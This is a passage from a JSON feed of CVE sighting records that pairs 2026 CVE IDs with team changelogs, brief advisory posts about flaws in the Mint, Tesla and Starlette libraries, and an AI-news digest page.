ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)", "creation_timestamp": "2026-06-02T12:05:44.000000Z"}, {"uuid": "57475720-22b9-40b7-ab65-1e83f63b6941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/c93d81d5bf3116aa07522d0285b3a6e0", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83e\udd73Testing**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83e\udd73Testing**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\u2600\ufe0fIn review**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)", "creation_timestamp": "2026-06-02T14:43:23.000000Z"}, {"uuid": "7e63f9e0-b920-406a-8fb1-2b1269a27a03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://bsky.app/profile/foursignalsdev.bsky.social/post/3mncucpzhy62e", "content": "BadHost CVE bypasses Starlette auth via Host headers. Compromises AI agents, LLM gateways, MCP servers. Patch CVE-2026-48710 now.", "creation_timestamp": "2026-06-02T15:00:12.676985Z"}, {"uuid": "b571c837-1bd9-4a32-a5fc-e3647799dda1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/c560f0faa4a4fb7d811144cb97fad45b", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [Afficher les factures de chaque shipment dans la MP](https://trello.com/c/FJqC11NX/1900-afficher-les-factures-de-chaque-shipment-dans-la-mp) **\ud83e\udd73Testing**\n        - *Add necessity to download invoice from shipments* [\\#7347](https://github.com/Wishibam/Marketplace-api/pull/7347)\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n    - [MP - Masquer les colonnes multi-retailer dans l'export ORDER quand j'ai un retailer associ\u00e9](https://trello.com/c/n7K1ikJp/2373-mp-masquer-les-colonnes-multi-retailer-dans-lexport-order-quand-jai-un-retailer-associ%C3%A9) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *Change status order for retailer to only consider their products* [\\#7461](https://github.com/Wishibam/Marketplace-api/pull/7461)\n \n- **Misc**\n    - *Fix issue with DPD not being Predict type* [\\#7509](https://github.com/Wishibam/Marketplace-api/pull/7509)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Ajouter la possibilit\u00e9 de mettre des ID 'customs' pour les corners](https://trello.com/c/HiWoR8Ke/2159-ajouter-la-possibilit%C3%A9-de-mettre-des-id-customs-pour-les-corners) **\ud83e\udd73Testing**\n        - *feat: add corner code* [\\#7090](https://github.com/Wishibam/Marketplace-api/pull/7090)\n    - [MP - MA - Nom retailer onglet \"Comptabilit\u00e9\"](https://trello.com/c/UdDa4Dzs/1855-mp-ma-nom-retailer-onglet-comptabilit%C3%A9) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat: allow set name of paymentAccount* [\\#7133](https://github.com/Wishibam/Marketplace-api/pull/7133)\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83d\ude80\ud83d\ude80\ud83d\ude80A MEP**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\u2600\ufe0fIn review**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *feat(dashboard): v2* [\\#7487](https://github.com/Wishibam/Marketplace-api/pull/7487)\n \n- **Misc**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)\n    - *:bug: fix: slugify corner code via SlugListener* [\\#7502](https://github.com/Wishibam/Marketplace-api/pull/7502)\n    - *:bug: fix: prevent duplicate nShift return waybill print* [\\#7503](https://github.com/Wishibam/Marketplace-api/pull/7503)\n    - *:sparkles: feat: route ImageKit resize through the media CDN* [\\#7506](https://github.com/Wishibam/Marketplace-api/pull/7506)\n    - *:sparkles: feat: rewrite media URLs to the CDN at serialization output* [\\#7507](https://github.com/Wishibam/Marketplace-api/pull/7507)\n    - *:sparkles: feat: send the CDN URL as Cloudinary background-removal source* [\\#7508](https://github.com/Wishibam/Marketplace-api/pull/7508)\n    - *:bug: fix: corriger le cast uuid invalide des corners \u00e0 l'import* [\\#7510](https://github.com/Wishibam/Marketplace-api/pull/7510)", "creation_timestamp": "2026-06-02T16:42:17.000000Z"}, {"uuid": "4cd50c29-10a8-4581-b12f-7f12de6f4730", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48861", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnd2xy373n2o", "content": "CVE-2026-48861 - CRLF injection in HTTP/1 request line via unvalidated method in Mint\nCVE ID : CVE-2026-48861\n \n Published : June 2, 2026, 4:16 p.m. | 16\u00a0minutes ago\n \n Description : Improper Neutralization of CRLF Sequences ('CRLF Injection') vulnerability in elixir-mint Mint...", "creation_timestamp": "2026-06-02T16:59:28.794168Z"}, {"uuid": "69556ecb-2f76-4df4-a252-59e50a44d30d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48862", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnd4vzmrwx2t", "content": "CVE-2026-48862 - Unbounded conn.streams growth in Mint HTTP/2 client via unenforced PUSH_PROMISE concurrency\nCVE ID : CVE-2026-48862\n \n Published : June 2, 2026, 4:16 p.m. | 16\u00a0minutes ago\n \n Description : Allocation of Resources Without Limits or Throttling vulnerability in e...", "creation_timestamp": "2026-06-02T17:34:10.424482Z"}, {"uuid": "95f2fa8b-7597-41a0-bee2-9dd6060b08f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48597", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mndhnkma2l2j", "content": "CVE-2026-48597 - Atom table exhaustion via untrusted URL scheme in Tesla.Adapter.Mint\nCVE ID : CVE-2026-48597\n \n Published : June 2, 2026, 7:08 p.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Allocation of Resources Without Limits or Throttling vulnerability in elixir-tesla tes...", "creation_timestamp": "2026-06-02T20:46:17.191015Z"}, {"uuid": "3a305021-c9c3-4c1c-82e8-2eb6665b0487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48595", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mndhqfcwzz23", "content": "CVE-2026-48595 - Authorization header leaks to third-party origin on cross-origin redirect in Tesla.Middleware.FollowRedirects\nCVE ID : CVE-2026-48595\n \n Published : June 2, 2026, 7:08 p.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Improper Handling of Case Sensitivity vulnera...", "creation_timestamp": "2026-06-02T20:47:52.286572Z"}, {"uuid": "48dd0006-b33f-4155-88c7-f2d6109e337b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48598", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mndhzwkych27", "content": "CVE-2026-48598 - CRLF injection in Tesla.Multipart disposition parameters allows multipart part header injection\nCVE ID : CVE-2026-48598\n \n Published : June 2, 2026, 7:08 p.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Improper Encoding or Escaping of Output vulnerability in el...", "creation_timestamp": "2026-06-02T20:53:12.402046Z"}, {"uuid": "95b19a05-7ea9-464d-b3a5-89616e147ed6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "Telegram/OiSTOHWVE0FWk56v-2bYK1ju5BgRtxGeb3Gt-deYCW6ayIQ", "content": "", "creation_timestamp": "2026-05-31T07:00:11.000000Z"}, {"uuid": "282d6a21-1fcf-4d19-bcc9-a0ab2b295648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "Telegram/l1vE9HUrzRN3YgnBjoD0X2bVt12uBAEnmzNbhS5dacgQt4U", "content": "", "creation_timestamp": "2026-05-30T21:00:04.000000Z"}, {"uuid": "1fbd9b0c-d82f-4343-8846-3a94ecacacc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "Telegram/11w8RI0cRJ2Y_5Y75akm2L08lgCZSwunoJ6IZ7hlmRoONww", "content": "", "creation_timestamp": "2026-05-30T19:00:10.000000Z"}, {"uuid": "72a816e4-87c7-4045-92cb-7c4b085d6c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48030", "type": "seen", "source": "Telegram/mMN-AjvGpcaE-zo6q0YmV9Qj204A53PE-cWPysE2p8vK_VY", "content": "", "creation_timestamp": "2026-05-28T11:00:13.000000Z"}, {"uuid": "b096b8b2-db2b-45ce-8c6a-3d72411d4bd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "Telegram/gT5VG53EHkYx7lJsNMzVATNBd8Pb7In7gs06zL9W87J77Dc", "content": "", "creation_timestamp": "2026-05-28T21:00:04.000000Z"}, {"uuid": "71b83e79-ae79-49b5-87aa-e76247e59034", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "Telegram/5hgQ8AKXX2p6Xv_JteDWfDLu6UEUErMaTbIKv1z5cXU-g7Q", "content": "", "creation_timestamp": "2026-05-28T15:00:08.000000Z"}, {"uuid": "6a5ece0a-260e-4a1e-9051-35b59ba207d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "Telegram/mMN-AjvGpcaE-zo6q0YmV9Qj204A53PE-cWPysE2p8vK_VY", "content": "", "creation_timestamp": "2026-05-28T11:00:13.000000Z"}, {"uuid": "d8d0769f-9e72-4781-ac18-264ba86fc273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48094", "type": "seen", "source": "https://bsky.app/profile/cybersecinsight.bsky.social/post/3mskydsnxol22", "content": "\ud83d\udd0d Vulnerability Spotlight | Part 2/3\n\n\u26a0\ufe0f CVE-2026-48094\n\nThe ShareOpenly WordPress plugin prior to version 1.2.1 contains a Cross-Site Scripting vulnerability caused by the absence of WordPress's `esc_url...", "creation_timestamp": "2026-08-08T11:39:40.170093Z"}, {"uuid": "d6c4bf2f-ab0c-449c-ab48-58af2f946100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48594", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mndk2jnfci2o", "content": "CVE-2026-48594 - Decompression bomb in Tesla.Middleware.DecompressResponse and Tesla.Middleware.Compression\nCVE ID : CVE-2026-48594\n \n Published : June 2, 2026, 7:08 p.m. | 1\u00a0hour, 16\u00a0minutes ago\n \n Description : Improper Handling of Highly Compressed Data (Data Amplification)...", "creation_timestamp": "2026-06-02T21:29:20.103045Z"}, {"uuid": "20199e6e-43ff-41d6-a986-904ba5b404b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48596", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mndkdilowi2f", "content": "CVE-2026-48596 - CRLF injection in Tesla.Multipart.add_content_type_param/2 allows HTTP header injection\nCVE ID : CVE-2026-48596\n \n Published : June 2, 2026, 7:09 p.m. | 1\u00a0hour, 15\u00a0minutes ago\n \n Description : Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Re...", "creation_timestamp": "2026-06-02T21:34:20.714494Z"}, {"uuid": "b41a285d-2b2e-4404-8a41-fea601a6f7f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://gist.github.com/friendsalot66-cpu/3722f04aecdb9983a217a43114ed0f2d", "content": "\n\n\n\n\n\n  * { margin: 0; padding: 0; box-sizing: border-box; }\n  body {\n    font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;\n    line-height: 1.6;\n    color: #333;\n    background-color: #f4f7f6;\n    overflow: hidden;\n    height: 100dvh;\n  }\n  .snap-container {\n    height: 100dvh;\n    overflow-y: scroll;\n    scroll-snap-type: y mandatory;\n    scroll-behavior: smooth;\n  }\n  .snap-section {\n    height: 100dvh;\n    scroll-snap-align: start;\n    scroll-snap-stop: always;\n    display: flex;\n    flex-direction: column;\n    justify-content: center;\n    align-items: center;\n    padding: 0 15px;\n  }\n  .content-card {\n    max-width: 800px;\n    background: #fff;\n    padding: 30px 25px;\n    border-radius: 12px;\n    box-shadow: 0 4px 15px rgba(0,0,0,0.1);\n    width: 100%;\n    max-height: 90vh;\n    overflow-y: auto;\n  }\n  h1 { color: #2c3e50; border-bottom: 3px solid #3498db; padding-bottom: 12px; margin-top: 0; font-size: 1.5em; }\n  h2.category { color: #e67e22; margin-top: 0; border-bottom: 1px solid #eee; padding-bottom: 8px; font-size: 1.2em; }\n  h3.headline { color: #2980b9; margin-bottom: 8px; font-size: 1.15em; }\n  ul { margin-top: 8px; padding-left: 22px; }\n  li { margin-bottom: 10px; color: #444; }\n  .footer { margin-top: 45px; font-size: 0.9em; color: #95a5a6; border-top: 1px solid #eee; padding-top: 20px; text-align: center; }\n  .subtitle { color: #7f8c8d; font-size: 1.0em; font-style: italic; margin-bottom: 20px; }\n  .summary-box { background: #e8f4f8; padding: 15px; border-radius: 8px; margin-bottom: 20px; border-left: 4px solid #3498db; }\n  .summary-box h2 { margin-top: 0; font-size: 1.1em; color: #2c3e50; margin-bottom: 10px; }\n  .summary-table { width: 100%; border-collapse: collapse; margin-top: 10px; background: #fff; }\n  .summary-table th, .summary-table td { border: 1px solid #bdd4e7; padding: 8px; text-align: left; font-size: 0.9em; }\n  .summary-table th { background-color: #d1e8f2; color: #2c3e50; font-weight: 600; }\n  .highlight-box { background-color: #f0f7fb; border-left: 5px solid #2980b9; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0; }\n\n\n\n  \n\n\n  \n\n    \n\n      \n\ud83d\udcf0 AI \u65b0\u805e\u91cd\u9ede \u2014 2026 \u5e74 06 \u6708 01 \u65e5\n      \n\u4eca\u65e5 11 \u5247\u4f60\u6700\u9700\u8981\u77e5\u5605 AI \u65b0\u805e\n      \n\n        \n\ud83d\udccb \u4eca\u65e5\u65b0\u805e\u901f\u89bd\n        \n\n          StoryCompanyWhy It Matters\n          \n            \ud83c\udfe6 Apollo and Blackstone's $36 Billion Google TPU Debt Deal -- The Largest Chip-Financing Transaction in History (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5On May 28, 2026, Bloomberg reported that Apollo Global Management and Blackstone are structuring a $36 billion private credit deal to buy Google custom TPU (Tensor Processing Unit) chips on behalf of Anthropic\u3002(\u6458\u8981)\ud83c\udfe6 SoftBank Commits \u20ac75 Billion to Build AI Data Centers in France (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5SoftBank Group announced at the 2026 Choose France summit hosted by President Emmanuel Macron on May 30 that it will invest up to \u20ac75 billion ($87\u3002(\u6458\u8981)\ud83d\udd0d Wikipedia Editors Organize Strike Over AI-Driven Wikimedia Layoffs (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5Wikipedia volunteer editors are organizing a strike over Wikimedia Foundation layoffs that editors attribute to AI-driven cost-cutting\u3002(\u6458\u8981)\ud83e\udde0 Demis Hassabis Shifts AGI Timeline to 2029, Calling It a \"Real Possibility\" (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5Google DeepMind CEO Demis Hassabis publicly shifted his AGI (Artificial General Intelligence) arrival estimate to 2029, calling it \"a real possibility\" in media interviews this week\u3002(\u6458\u8981)\ud83e\udde0 OpenAI Launches Rosalind Biodefense Program for US Government Pandemic Preparedness (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5OpenAI launched the Rosalind Biodefense Program on May 29, 2026, expanding GPT-Rosalind access to US government agencies and allied partners for pandemic preparedness applications\u3002(\u6458\u8981)\u2601\ufe0f Foundation's Phantom Humanoid Robots Deployed to Ukraine -- First Combat-Theater Humanoid Deployment (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5Foundation Future Industries deployed its Phantom MK-1 humanoid robots to Ukraine for battlefield testing, marking the first combat-theater deployment of humanoid robots in history\u3002(\u6458\u8981)\ud83d\udcbb GitHub Copilot Token Billing Goes Live Today -- \"What a Joke\" Is Trending on Reddit and X (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5Today, June 1, 2026, is the day GitHub Copilot switched from flat subscription pricing to token-based billing across all plans\u3002(\u6458\u8981)\ud83e\udd16 Sysdig Documents First Confirmed LLM Agent Cyberattack -- AWS Database Exfiltrated Autonomously in Under an Hour (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5Security firm Sysdig documented the first live cyberattack in which an LLM agent autonomously performed post-exploitation actions -- including exfiltrating an AWS database -- in under an hour\u3002(\u6458\u8981)\ud83d\udcbb Microsoft Build 2026 Opens Tomorrow -- What to Watch and How to Stream Free (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5Microsoft Build 2026 opens tomorrow, June 2, at Fort Mason Center in San Francisco\u3002(\u6458\u8981)\ud83d\udcca Anthropic Raised $65 Billion at a $965 Billion Valuation -- The Largest AI Round in History (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5Bloomberg confirmed on May 29, 2026, that Anthropic raised $65 billion in a funding round that valued the company at $965 billion post-money -- surpassing OpenAI's $852 billion private market valuation for the first time and making it the most valuable private AI company in the world\u3002(\u6458\u8981)\ud83d\udcca Cognition's Devin Raised $1 Billion at $26 Billion -- Revenue Grew 1,230% in 12 Months (\u7ffb\u8b6f\u6a19\u984c)\u672a\u77e5Cognition, the startup behind Devin (the autonomous AI software engineer), announced on May 28, 2026, that it has raised more than $1 billion at a $25 billion pre-money / $26 billion post-money valuation\u3002(\u6458\u8981)\n          \n        \n      \n    \n  \n\n  \n  \n\n    \n\n      \n\ud83c\udfe6 \ud83c\udfe6 \u91d1\u878d\u6a5f\u69cb\n      \n\n        \nApollo and Blackstone's $36 Billion Google TPU Debt Deal -- The Largest Chip-Financing Transaction in History (\u7ffb\u8b6f\u6a19\u984c)\n        \n\nOn May 28, 2026, Bloomberg reported that Apollo Global Management and Blackstone are structuring a $36 billion private credit deal to buy Google custom TPU (Tensor Processing Unit) chips on behalf of Anthropic\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe debt structure is divided into three tranches: approximately $6 billion in A1 notes, $25 billion in A2 notes, and $4\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThe strategic logic: Anthropic does not have to put the $36 billion on its own balance sheet\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\n      \n    \n  \n\n  \n\n    \n\n      \n\ud83c\udfe6 \ud83c\udfe6 \u91d1\u878d\u6a5f\u69cb\n      \n\n        \nSoftBank Commits \u20ac75 Billion to Build AI Data Centers in France (\u7ffb\u8b6f\u6a19\u984c)\n        \n\nSoftBank Group announced at the 2026 Choose France summit hosted by President Emmanuel Macron on May 30 that it will invest up to \u20ac75 billion ($87\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nMasayoshi Son, SoftBank's founder, said: \"AI is entering a new era, and the countries that build the infrastructure for this transformation will shape the future of technology, industry and society\u3002(\u7ffb\u8b6f\u6210\u9999\u6e2f\u7cb5\u8a9e)\nThis is Europe's largest single announced AI 